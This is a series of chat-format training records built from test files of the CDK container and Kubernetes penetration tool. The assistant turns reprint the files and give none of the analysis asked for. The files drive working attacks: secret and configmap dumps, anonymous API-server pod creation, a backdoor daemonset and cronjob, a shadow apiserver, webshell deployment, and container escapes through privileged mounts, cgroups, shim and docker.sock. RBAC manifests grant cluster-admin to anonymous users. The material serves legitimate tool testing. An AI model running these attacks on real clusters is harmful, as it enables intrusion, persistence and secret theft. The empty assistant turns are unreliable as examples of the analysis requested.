'cdk evaluate'],\n False\n )\n check_pod_exec(\n 'run k8s-configmap-dump auto',\n ['success', 'k8s_configmaps.json'],\n ['input args', 'i@cdxy.me', 'cdk evaluate'],\n False\n )\n check_pod_exec(\n 'run k8s-configmap-dump /tmp/jkdhahdjfka2',\n ['no such file or directory'],\n ['input args', 'i@cdxy.me', 'cdk evaluate'],\n False\n )\n\n # exploit: k8s-secret-dump\n check_pod_exec(\n 'run k8s-secret-dump',\n ['input args'],\n ['i@cdxy.me', 'cdk evaluate'],\n False\n )\n check_pod_exec(\n 'run k8s-secret-dump auto',\n ['success', 'k8s_secrets.json'],\n ['input args', 'i@cdxy.me', 'cdk evaluate'],\n False\n )\n\n # tool: kcurl\n check_pod_exec(\n 'kcurl',\n ['to K8s api-server'], # help msg\n ['panic:', 'cdk evaluate'],\n False\n )\n check_pod_exec(\n 'kcurl default get https://172.21.0.1:443/api/v1/nodes', # forbidden\n ['apiVersion', 'nodes is forbidden'],\n ['panic:', 'cdk evaluate', 'empty'],\n False\n )\n check_pod_exec(\n 'kcurl anonymous get https://172.21.0.1:443/api/v1/nodes', # success dump\n ['apiVersion'],\n ['panic:', 'nodes is forbidden', 'cdk evaluate', 'empty'],\n False\n )\n check_pod_exec(\n r'''\n kcurl anonymous post 'https://172.21.0.1:443/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply' '{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{\"kubectl.kubernetes.io/last-applied-configuration\":\"{\\\"apiVersion\\\":\\\"v1\\\",\\\"kind\\\":\\\"Pod\\\",\\\"metadata\\\":{\\\"annotations\\\":{},\\\"name\\\":\\\"cdxy-test-2021\\\",\\\"namespace\\\":\\\"default\\\"},\\\"spec\\\":{\\\"containers\\\":[{\\\"image\\\":\\\"ubuntu:latest\\\",\\\"name\\\":\\\"container\\\"}]}}\\n\"},\"name\":\"cdxy-test-2021\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"ubuntu:latest\",\"name\":\"container\"}]}}'\n '''.replace('\\n', ''),\n ['apiVersion', 'api-server response'],\n ['panic:', 'nodes is forbidden', 'cdk evaluate', 'empty'],\n False\n )\n\n # run: k8s-backdoor-daemonset\n check_pod_exec(\n 'run k8s-backdoor-daemonset 1', # success dump\n ['invalid'],\n ['panic:', 'nodes is forbidden', 'cdk evaluate', 'empty'],\n False\n )\n check_pod_exec(\n 'run k8s-backdoor-daemonset default ubuntu whoami', # success dump\n ['cdk-backdoor-daemonset'],\n ['panic:', 'nodes is forbidden', 'cdk evaluate', 'empty'],\n False\n )\n\n # run: istio-check\n check_pod_exec(\n 'run istio-check',\n ['the shell is not in a istio'],\n ['panic:', 'nodes is forbidden', 'cdk evaluate', 'empty'],\n False\n )\n\n # test evaluate in selfbuild k8s\n # make sure bind system:default:default to cluster-admin first (test/k8s_exploit_yaml/default_to_admin.yaml)\n check_selfbuild_k8s_pod_exec(\n 'evaluate',\n ['00000000a80425fb', 'Discovery - K8s API Server', 'the service-account have a high authority'],\n ['panic:', 'nodes is forbidden', 'cdk evaluate', 'empty'],\n False\n )\n\n # run: k8s-shadow-apiserver\n k8s_master_ssh_cmd(\n 'kubectl delete pod kube-apiserver-10.206.0.11-shadow -n kube-system',\n [],\n [],\n False\n )\n check_selfbuild_k8s_pod_exec(\n 'run k8s-shadow-apiserver default', # success\n ['listening insecure-port: 0.0.0.0:9443'],\n ['panic:', 'nodes is forbidden', 'cdk evaluate', 'empty'],\n False\n )\n check_selfbuild_k8s_pod_exec(\n 'run k8s-shadow-apiserver anonymous', # forbidden\n ['forbidden this request'],\n ['listening insecure-port: 0.0.0.0:9443', 'panic:', 'nodes is forbidden', 'cdk evaluate', 'empty'],\n False\n )\n k8s_master_ssh_cmd(\n 'kubectl exec myappnew -- curl 10.206.0.11:9443', # curl shadow-apiserver\n ['/api/v1'],\n [],\n False\n )\n\n # run: k8s-mitm-clusterip\n k8s_master_ssh_cmd(\n 'kubectl delete deployment mitm-payload-deploy',\n [],\n [],\n False\n )\n k8s_master_ssh_cmd(\n 'kubectl delete service mitm-externalip',\n [],\n [],\n False\n )\n check_selfbuild_k8s_pod_exec(\n 'run k8s-mitm-clusterip default ubuntu 9.9.9.9 99', # forbidden\n ['selfLink'],\n ['listening insecure-port: 0.0.0.0:9443', 'panic:', 'nodes is forbidden', 'cdk evaluate', 'empty'],\n False\n )\n\n # exploit: webshell-deploy\n check_pod_exec(\n 'run webshell-deploy php /var/www/html212/1.php',\n ['no such file or directory', 'failed'],\n ['input args', 'i@cdxy.me', 'cdk evaluate'],\n False\n )\n check_pod_exec(\n 'run webshell-deploy php',\n ['input args'],\n ['i@cdxy.me', 'cdk evaluate'],\n False\n )\n check_pod_exec(\n 'run webshell-deploy js1p /tmp/1.jsp',\n ['input args'],\n ['i@cdxy.me', 'cdk evaluate'],\n False\n )\n check_pod_exec(\n 'run webshell-deploy jsp /tmp/1.jsp',\n ['webshell saved in'],\n ['i@cdxy.me', 'cdk evaluate', '%s', 'input args'],\n False\n )\n\n # run: cronjob\n k8s_master_ssh_cmd(\n 'kubectl delete cronjob cdk-backdoor-cronjob -n kube-system',\n [],\n [],\n False\n )\n check_selfbuild_k8s_pod_exec(\n 'run k8s-cronjob default min alpine \"echo helloworld\"',\n ['generate cronjob with', 'selfLink'],\n ['i@cdxy.me', 'cdk evaluate', '%s', 'input args'],\n False\n )\n\n\ndef clear_all_env():\n k8s_master_ssh_cmd(\n 'kubectl delete cronjob cdk-backdoor-cronjob -n kube-system',\n [],\n [],\n False\n )\n k8s_master_ssh_cmd(\n 'kubectl delete pod kube-apiserver-10.206.0.11-shadow -n kube-system',\n [],\n [],\n False\n )\n k8s_master_ssh_cmd(\n 'kubectl delete deployment mitm-payload-deploy',\n [],\n [],\n False\n )\n k8s_master_ssh_cmd(\n 'kubectl delete service mitm-externalip',\n [],\n [],\n False\n )\n check_host_exec(r'docker stop $(docker ps -q) & docker rm $(docker ps -aq)', [], [], False)\n check_host_exec(r'rm /tmp/docker-api-pwn', [], [], False)\n check_host_exec(r'rm /tmp/docker-sock-pwn', [], [], False)\n\n\ndef test_auto_pwn():\n # cover crontab with backup file\n check_host_exec(r'cp -f /etc/crontab_bak /etc/crontab', [], ['cp'], False)\n\n # 1.1 exploit privileged container with mount device\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='--privileged=true',\n cmd=r'auto-escape \\\"touch /tmp/auto-priv-mountdir\\\"', # \" needs to escape in raw\n white_list=['all exploits are finished, auto exploit success!'],\n black_list=['i@cdxy.me', 'OCI '],\n verbose=False\n )\n time.sleep(1)\n check_host_exec(r'cat /etc/crontab', ['CDK auto exploit via mounted device in privileged container'], [], False)\n # clear the crontab\n # check_host_exec(r'cp -f /etc/crontab_bak /etc/crontab', [], ['cp'], False)\n\n # 1.2 exploit privileged container with cgroup\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='--privileged=true',\n cmd=r'auto-escape \\\"touch /tmp/auto-priv-cgroup\\\"', # \" needs to escape in raw\n white_list=['all exploits are finished, auto exploit success!'],\n black_list=['i@cdxy.me', 'OCI '],\n verbose=False\n )\n time.sleep(1)\n check_host_exec(r'ls /tmp/auto-priv-cgroup', ['/tmp/auto-priv-cgroup'], [], False)\n check_host_exec(r'rm /tmp/auto-priv-cgroup', [], [], False)\n\n # 2. shim-pwn\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='--net=host',\n cmd=r'auto-escape \\\"touch /tmp/auto-shimpwn\\\"', # \" needs to escape in raw\n white_list=['all exploits are finished, auto exploit success!'],\n black_list=['i@cdxy.me', 'OCI '],\n verbose=False\n )\n time.sleep(1)\n check_host_exec(r'ls /tmp/auto-shimpwn', ['/tmp/auto-shimpwn'], [], False)\n check_host_exec(r'rm /tmp/auto-shimpwn', [], [], False)\n\n # 3. docker.sock\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='-v /var/run/docker.sock:/var/run/docker.sock',\n cmd=r'auto-escape \\\"touch /tmp/auto-docker-sock\\\"', # \" needs to escape in raw\n white_list=['all exploits are finished, auto exploit success!'],\n black_list=['i@cdxy.me', 'OCI '],\n verbose=False\n )\n time.sleep(1)\n check_host_exec(r'cat /etc/crontab', ['CDK auto exploit via docker.sock'], [], False)\n # clear the crontab\n # check_host_exec(r'cp -f /etc/crontab_bak /etc/crontab', [], ['cp'], False)\n\n # 3. docker.sock\n inside_container_cmd(\n image='ubuntu:latest',\n docker_args='-v /var/run/docker.sock:/var/run/docker.sock',\n cmd=r'auto-escape \\\"touch /tmp/auto-docker-sock\\\"', # \" needs to escape in raw\n white_list=['all exploits are finished, auto exploit success!'],\n black_list=['i@cdxy.me', 'OCI '],\n verbose=False\n )\n time.sleep(1)\n check_host_exec(r'cat /etc/crontab', ['CDK auto exploit via docker.sock'], [], False)\n # clear the crontab\n check_host_exec(r'cp -f /etc/crontab_bak /etc/crontab', [], ['cp'], False)\n\n\ndef test_dev():\n time.sleep(0.5)\n # run: k8s-shadow-apiserver\n check_selfbuild_k8s_pod_exec(\n 'run k8s-shadow-apiserver anonymous', # forbidden\n ['forbidden this request'],\n ['listening insecure-port: 0.0.0.0:9443', 'panic:', 'nodes is forbidden', 'cdk evaluate', 'empty'],\n False\n )\n\n\nif __name__ == '__main__':\n # build\n print('-' * 10, 'build CDK binary', '-' * 10)\n print('[Local]', CDK.BUILD_CMD)\n os.system(CDK.BUILD_CMD)\n\n # upload\n print('-' * 10, 'upload CDK to ECS, ACK, Selfbuild-K8s', '-' * 10)\n update_remote_bin()\n print('done')\n # k8s_pod_upload()\n # print('done')\n selfbuild_k8s_pod_upload()\n print('-' * 10, 'upload all done', '-' * 10)\n\n # test\n test_dev()\n # test_auto_pwn()\n # test_container()\n # test_pod()\n # clear_all_env()\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: test/CDK-deploy-test/cluster_init/default_to_admin.yaml\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\nkind: ClusterRoleBinding\napiVersion: rbac.authorization.k8s.io/v1beta1\nmetadata:\n name: cdxy-default-to-admin-binding\n namespace: default\nsubjects:\n- kind: ServiceAccount\n name: default\n namespace: default\nroleRef:\n kind: ClusterRole\n name: cluster-admin\n apiGroup: \"rbac.authorization.k8s.io\"\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: test/CDK-deploy-test/cluster_init/myappnew.yaml\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\napiVersion: v1\nkind: Pod\nmetadata:\n name: myappnew\nspec:\n containers:\n - image: nginx\n name: container\n volumeMounts:\n - mountPath: /mnt\n name: test-volume\n - mountPath: /host-root\n name: host-volume\n volumes:\n - hostPath:\n path: /tmp\n name: test-volume\n - hostPath:\n path: /\n name: host-volume\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: test/CDK-deploy-test/lib/conf.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\nclass SERVER: # your remote server for test\n HOST = '118.195.140.100'\n USER = 'root'\n PASS = ''\n KEY_PATH = '/Users/xy/.ssh/id_rsa'\n\n\nclass DEV_PATH:\n KUBECTL_PATH = '/Users/xy/Desktop/lezhen-test-case/k8s/kubectl'\n GO_BINARY = '/Users/xy/go/go1.16beta1/bin/go'\n\n\nclass CDK:\n # local source-code dir to run `go build`\n BUILD_PATH = '/Users/xy/go/CDK/cmd/cdk'\n # build command\n BUILD_CMD = 'cd {} && CGO_ENABLED=0 GOOS=linux GOARCH=amd64 {} build cdk.go'.format(BUILD_PATH, DEV_PATH.GO_BINARY)\n # binary after build\n BIN_PATH = '/Users/xy/go/CDK/cmd/cdk/cdk'\n # you can keep it unchanged\n REMOTE_HOST_PATH = '/root/cdk-fabric'\n REMOTE_CONTAINER_PATH = '/cdk-fabric'\n\n\nclass K8S:\n KUBE_CONFIG = '/Users/xy/.kube/cdk.config'\n # KUBE_CONFIG = '/Users/xy/.kube/config'\n # upload cdk to target pod then check command output using kubectl\n TARGET_POD = 'myappnew'\n # you can keep it unchanged\n REMOTE_POD_PATH = '/cdk-fabric'\n\n\nclass SELFBUILD_K8S:\n # Master node SSH\n HOST = '118.195.140.100'\n USER = 'root'\n PASS = ''\n KEY_PATH = '/Users/xy/.ssh/id_rsa'\n REMOTE_HOST_PATH = '/root/cdk-fabric'\n # upload cdk to target pod then check command output using kubectl\n TARGET_POD = 'myappnew'\n # you can keep it unchanged\n REMOTE_POD_PATH = '/cdk-fabric'\n KUBERNETES_SERVICE_PORT = '443'\n KUBERNETES_SERVICE_HOST = '172.16.252.1'\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: test/CDK-deploy-test/lib/k8s_remote_action.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\nimport subprocess\nimport time\nfrom lib.ssh_remote_action import output_err\nfrom lib.conf import CDK, K8S, DEV_PATH\n\n\ndef k8s_pod_upload():\n print('[upload] CDK binary to K8s pod:{}'.format(K8S.TARGET_POD))\n cmd = r'{} --kubeconfig={} cp {} {}:{}'.format(DEV_PATH.KUBECTL_PATH, K8S.KUBE_CONFIG, CDK.BIN_PATH, K8S.TARGET_POD,\n K8S.REMOTE_POD_PATH)\n ret = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n\n time.sleep(1)\n cmd1 = r'{} --kubeconfig={} exec {} -- ls {}'.format(DEV_PATH.KUBECTL_PATH, K8S.KUBE_CONFIG, K8S.TARGET_POD,\n K8S.REMOTE_POD_PATH)\n\n ret1 = subprocess.Popen(cmd1, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n if K8S.REMOTE_POD_PATH in str(ret1.stdout.read()):\n return\n else:\n print(str(ret1.stdout.read()))\n print(str(ret1.stderr.read()))\n raise Exception(\"Upload cdk binary to K8s failed.\\nCMD: \" + cmd)\n\n\ndef check_pod_exec(cmd, white_list, black_list, verbose=False):\n # OCI runtime exec failed: exec failed: container_linux.go:344: starting container process caused \"text file busy\"\n time.sleep(1)\n\n cmd_parsed = r'{} --kubeconfig={} exec {} -- {} {}'.format(DEV_PATH.KUBECTL_PATH, K8S.KUBE_CONFIG, K8S.TARGET_POD,\n K8S.REMOTE_POD_PATH, cmd)\n print('[TEST] [{}] {}'.format('K8s Pod', cmd_parsed))\n\n ret = subprocess.Popen(cmd_parsed, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n shell=True)\n\n stdout = str(ret.stdout.read())\n stderr = str(ret.stderr.read())\n\n if verbose:\n print('stdout\\n', stdout)\n print('stderr\\n', stderr)\n\n for pattern in white_list:\n if pattern not in stdout + stderr:\n output_err('K8s Pod', cmd_parsed, pattern, 'white')\n\n for pattern in black_list:\n if pattern in stdout + stderr:\n output_err('K8s Pod', cmd_parsed, pattern, 'black')\n\n\nif __name__ == '__main__':\n k8s_pod_upload()\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: test/CDK-deploy-test/lib/k8s_selfbuild_action.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\nimport time\nfrom fabric import Connection\nfrom invoke import UnexpectedExit\nfrom lib.conf import CDK, SELFBUILD_K8S\n\n\ndef k8s_get_remote_conn():\n # http://docs.paramiko.org/en/stable/api/client.html\n\n if SELFBUILD_K8S.PASS:\n connect_kwargs = {'password': SELFBUILD_K8S.PASS}\n else:\n connect_kwargs = {'key_filename': SELFBUILD_K8S.KEY_PATH}\n return Connection(SELFBUILD_K8S.HOST, SELFBUILD_K8S.USER, connect_kwargs=connect_kwargs)\n\n\nconn = k8s_get_remote_conn()\n\n\ndef output_err(env, cmd, pattern, type):\n print('[ERROR] {} while running cmd: {}\\nexcepted {} pattern:\\n{}'.format(env, cmd, type, pattern))\n\n\ndef update_remote_bin():\n print('[upload] CDK binary to self-build k8s master node')\n try:\n conn.put(CDK.BIN_PATH, SELFBUILD_K8S.REMOTE_HOST_PATH)\n conn.run('chmod a+x {}'.format(SELFBUILD_K8S.REMOTE_HOST_PATH))\n except Exception as e:\n print('errors while update cdk binary.')\n print(e)\n exit(1)\n\n\ndef k8s_master_ssh_cmd(cmd_parsed, white_list, black_list, verbose=False):\n print('[TEST] [{}] {}'.format('Selfbuild k8s master node', cmd_parsed))\n\n try:\n result = conn.run(cmd_parsed, hide=bool(1 - verbose))\n for pattern in white_list:\n if pattern not in result.stdout + result.stderr:\n output_err('Selfbuild K8s Master Node', cmd_parsed, pattern, 'white')\n\n for pattern in black_list:\n if pattern in result.stdout + result.stderr:\n output_err('Selfbuild K8s Master Node', cmd_parsed, pattern, 'black')\n return result.stdout + result.stderr\n except UnexpectedExit as e:\n print('invoke UnexpectedExit')\n print(e)\n\n\ndef selfbuild_k8s_pod_upload():\n # upload cdk to master node via ssh\n update_remote_bin()\n\n # cp cdk from master node to target pod via (kubectl in master node).\n cmd = r'kubectl cp {} {}:{}'.format(SELFBUILD_K8S.REMOTE_HOST_PATH, SELFBUILD_K8S.TARGET_POD,\n SELFBUILD_K8S.REMOTE_POD_PATH)\n k8s_master_ssh_cmd(cmd, [], [], True)\n\n time.sleep(1)\n # check if upload success\n cmd1 = r'kubectl exec {} ls {}'.format(SELFBUILD_K8S.TARGET_POD, SELFBUILD_K8S.REMOTE_POD_PATH)\n resp = k8s_master_ssh_cmd(cmd1, [], [], False)\n if SELFBUILD_K8S.REMOTE_POD_PATH in str(resp):\n return\n else:\n raise Exception(\"Upload cdk binary to self-build k8s failed.\\nCMD: \" + cmd)\n\n\ndef check_selfbuild_k8s_pod_exec(cmd, white_list, black_list, verbose=False):\n # OCI runtime exec failed: exec failed: container_linux.go:344: starting container process caused \"text file busy\"\n time.sleep(1)\n cmd_parsed = r'kubectl exec {} -- {} {}'.format(\n SELFBUILD_K8S.TARGET_POD,\n SELFBUILD_K8S.REMOTE_POD_PATH,\n cmd\n )\n # print('[TEST] [{}] {}'.format('Selfbuild K8s Pod', cmd_parsed))\n k8s_master_ssh_cmd(cmd_parsed, white_list, black_list, verbose)\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: test/CDK-deploy-test/lib/ssh_remote_action.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\nimport os\nfrom fabric import Connection\nfrom lib.conf import CDK, SERVER\nfrom invoke.exceptions import UnexpectedExit\n\n\ndef get_remote_conn():\n # http://docs.paramiko.org/en/stable/api/client.html\n\n if SERVER.PASS:\n connect_kwargs = {'password': SERVER.PASS}\n else:\n connect_kwargs = {'key_filename': SERVER.KEY_PATH}\n return Connection(SERVER.HOST, SERVER.USER, connect_kwargs=connect_kwargs)\n\n\nconn = get_remote_conn()\n\n\ndef output_err(env, cmd, pattern, type):\n print('[ERROR] {} while running cmd: {}\\nexcepted {} pattern:\\n{}'.format(env, cmd, type, pattern))\n\n\ndef test():\n result = conn.run(\"uname -s\", hide=True)\n msg = \"Ran {0.command!r} on {0.connection.host}, got stdout:\\n{0.stdout}\"\n print(msg.format(result))\n\n\ndef update_remote_bin():\n print('[upload to host]')\n try:\n conn.put(CDK.BIN_PATH, CDK.REMOTE_HOST_PATH)\n conn.run('chmod a+x {}'.format(CDK.REMOTE_HOST_PATH))\n except Exception as e:\n print('errors while update cdk binary.')\n print(e)\n exit(1)\n\n\ndef check_host_exec(cmd_parsed, white_list, black_list, verbose=False):\n print('[TEST] [{}] {}'.format('ECS', cmd_parsed))\n try:\n result = conn.run(cmd_parsed, hide=bool(1 - verbose))\n for pattern in white_list:\n if pattern not in result.stdout + result.stderr:\n output_err('ECS', cmd_parsed, pattern, 'white')\n\n for pattern in black_list:\n if pattern in result.stdout + result.stderr:\n output_err('ECS', cmd_parsed, pattern, 'black')\n\n except UnexpectedExit as e:\n pass\n # print('invoke UnexpectedExit')\n # print(e)\n\n\ndef check_host_evaluate(cmd, white_list, black_list, verbose=False):\n cmd_parsed = \"{} {}\".format(CDK.REMOTE_HOST_PATH, cmd)\n print('[TEST] [{}] {}'.format('ECS', cmd_parsed))\n\n try:\n result = conn.run(cmd_parsed, hide=bool(1 - verbose))\n for pattern in white_list:\n if pattern not in result.stdout + result.stderr:\n output_err('ECS', cmd_parsed, pattern, 'white')\n\n for pattern in black_list:\n if pattern in result.stdout + result.stderr:\n output_err('ECS', cmd_parsed, pattern, 'black')\n\n except UnexpectedExit as e:\n pass\n # print('invoke UnexpectedExit')\n # print(e)\n\n\ndef inside_container_cmd(image, docker_args, cmd, white_list, black_list, verbose=False):\n # docker run -v /root/cdk_linux_amd64:/cdk_linux_amd64 --rm --net=host ubuntu /bin/bash -c \"/cdk_linux_amd64 cmd\"\n success = True\n\n cmd_parsed = \"docker run -v {}:{} --rm {} {} /bin/sh -c \\\"{} {}\\\"\".format(\n CDK.REMOTE_HOST_PATH,\n CDK.REMOTE_CONTAINER_PATH,\n docker_args,\n image,\n CDK.REMOTE_CONTAINER_PATH,\n cmd\n )\n print('[TEST] [{}] {}'.format(image, cmd_parsed))\n\n try:\n result = conn.run(cmd_parsed, hide=bool(1 - verbose))\n for pattern in white_list:\n if pattern not in result.stdout + result.stderr:\n output_err(image, cmd_parsed, pattern, 'white')\n success = False\n for pattern in black_list:\n if pattern in result.stdout + result.stderr:\n output_err(image, cmd_parsed, pattern, 'black')\n except UnexpectedExit as e:\n pass\n # print('invoke UnexpectedExit')\n # print(e)\n # return\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: test/k8s_exploit_util/anonymous_login.yaml\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\nkind: ClusterRoleBinding\napiVersion: rbac.authorization.k8s.io/v1beta1\nmetadata:\n name: cdxy-admin-binding\n namespace: kube-system\nsubjects:\n- kind: User\n name: system:anonymous\n apiGroup: \"rbac.authorization.k8s.io\"\nroleRef:\n kind: ClusterRole\n name: cluster-admin\n apiGroup: \"rbac.authorization.k8s.io\"\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: test/k8s_exploit_util/api-server-pod-config.json\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n{\"kind\":\"Pod\",\"apiVersion\":\"v1\",\"metadata\":{\"name\":\"kube-apiserver-cn-beijing.192.168.0.150\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/kube-apiserver-cn-beijing.192.168.0.150\",\"uid\":\"e2d1399d-4a4d-4d46-a1ed-9db5de9279eb\",\"resourceVersion\":\"35736383\",\"creationTimestamp\":\"2020-04-08T04:08:44Z\",\"labels\":{\"component\":\"kube-apiserver\",\"tier\":\"control-plane\"},\"annotations\":{\"kubernetes.io/config.hash\":\"648fd8d160a03f8f137f14d7f47fad87\",\"kubernetes.io/config.mirror\":\"648fd8d160a03f8f137f14d7f47fad87\",\"kubernetes.io/config.seen\":\"2020-04-08T12:08:43.94847775+08:00\",\"kubernetes.io/config.source\":\"file\"}},\"spec\":{\"volumes\":[{\"name\":\"k8s-audit\",\"hostPath\":{\"path\":\"/var/log/kubernetes\",\"type\":\"DirectoryOrCreate\"}},{\"name\":\"audit-policy\",\"hostPath\":{\"path\":\"/etc/kubernetes/audit-policy.yml\",\"type\":\"FileOrCreate\"}},{\"name\":\"ca-certs\",\"hostPath\":{\"path\":\"/etc/ssl/certs\",\"type\":\"DirectoryOrCreate\"}},{\"name\":\"etc-pki\",\"hostPath\":{\"path\":\"/etc/pki\",\"type\":\"DirectoryOrCreate\"}},{\"name\":\"k8s-certs\",\"hostPath\":{\"path\":\"/etc/kubernetes/pki\",\"type\":\"DirectoryOrCreate\"}},{\"name\":\"localtime\",\"hostPath\":{\"path\":\"/etc/localtime\",\"type\":\"\"}}],\"containers\":[{\"name\":\"kube-apiserver\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-apiserver:v1.16.6-aliyun.1\",\"command\":[\"kube-apiserver\",\"--audit-log-maxbackup=10\",\"--audit-log-maxsize=100\",\"--audit-log-path=/var/log/kubernetes/kubernetes.audit\",\"--audit-log-maxage=30\",\"--audit-policy-file=/etc/kubernetes/audit-policy.yml\",\"--apiserver-count=500\",\"--endpoint-reconciler-type=lease\",\"--enable-aggregator-routing=true\",\"--runtime-config=admissionregistration.k8s.io/v1beta1,extensions/v1beta1/daemonsets=true,extensions/v1beta1/deployments=true,extensions/v1beta1/replicasets=true,extensions/v1beta1/networkpolicies=true,extensions/v1beta1/podsecuritypolicies=true,apps/v1beta1=true,apps/v1beta2=true\",\"--advertise-address=192.168.0.150\",\"--allow-privileged=true\",\"--authorization-mode=Node,RBAC\",\"--client-ca-file=/etc/kubernetes/pki/apiserver-ca.crt\",\"--cloud-provider=external\",\"--enable-admission-plugins=NodeRestriction,PodSecurityPolicy\",\"--enable-bootstrap-token-auth=true\",\"--etcd-cafile=/etc/kubernetes/pki/etcd/ca.pem\",\"--etcd-certfile=/etc/kubernetes/pki/etcd/etcd-client.pem\",\"--etcd-keyfile=/etc/kubernetes/pki/etcd/etcd-client-key.pem\",\"--etcd-servers=https://192.168.0.150:2379,https://192.168.0.151:2379,https://192.168.0.152:2379\",\"--feature-gates=VolumeSnapshotDataSource=true,CSINodeInfo=true,CSIDriverRegistry=true\",\"--insecure-port=0\",\"--kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt\",\"--kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key\",\"--kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname\",\"--profiling=false\",\"--proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt\",\"--proxy-client-key-file=/etc/kubernetes/pki/front-proxy-client.key\",\"--requestheader-allowed-names=front-proxy-client\",\"--requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt\",\"--requestheader-extra-headers-prefix=X-Remote-Extra-\",\"--requestheader-group-headers=X-Remote-Group\",\"--requestheader-username-headers=X-Remote-User\",\"--secure-port=6443\",\"--service-account-key-file=/etc/kubernetes/pki/sa.pub\",\"--service-cluster-ip-range=172.21.0.0/20\",\"--service-node-port-range=30000-32767\",\"--tls-cert-file=/etc/kubernetes/pki/apiserver.crt\",\"--tls-private-key-file=/etc/kubernetes/pki/apiserver.key\"],\"env\":[{\"name\":\"aliyun_logs_audit-ca3869bd4dd884799a5abbb00c5e56fc4\",\"value\":\"/var/log/kubernetes/kubernetes.audit\"},{\"name\":\"aliyun_logs_audit-ca3869bd4dd884799a5abbb00c5e56fc4_tags\",\"value\":\"audit=apiserver\"},{\"name\":\"aliyun_logs_audit-ca3869bd4dd884799a5abbb00c5e56fc4_product\",\"value\":\"k8s-audit\"},{\"name\":\"aliyun_logs_audit-ca3869bd4dd884799a5abbb00c5e56fc4_jsonfile\",\"value\":\"true\"}],\"resources\":{\"requests\":{\"cpu\":\"250m\"}},\"volumeMounts\":[{\"name\":\"k8s-audit\",\"mountPath\":\"/var/log/kubernetes\"},{\"name\":\"audit-policy\",\"readOnly\":true,\"mountPath\":\"/etc/kubernetes/audit-policy.yml\"},{\"name\":\"ca-certs\",\"readOnly\":true,\"mountPath\":\"/etc/ssl/certs\"},{\"name\":\"etc-pki\",\"readOnly\":true,\"mountPath\":\"/etc/pki\"},{\"name\":\"k8s-certs\",\"readOnly\":true,\"mountPath\":\"/etc/kubernetes/pki\"},{\"name\":\"localtime\",\"mountPath\":\"/etc/localtime\"}],\"livenessProbe\":{\"httpGet\":{\"path\":\"/healthz\",\"port\":6443,\"host\":\"192.168.0.150\",\"scheme\":\"HTTPS\"},\"initialDelaySeconds\":15,\"timeoutSeconds\":15,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":8},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\"}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeName\":\"cn-beijing.192.168.0.150\",\"hostNetwork\":true,\"securityContext\":{},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\",\"effect\":\"NoExecute\"}],\"priorityClassName\":\"system-cluster-critical\",\"priority\":2000000000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:08:52Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:08:52Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:08:52Z\"},{\"type\":\"PodScheduled\",\"status\":\"T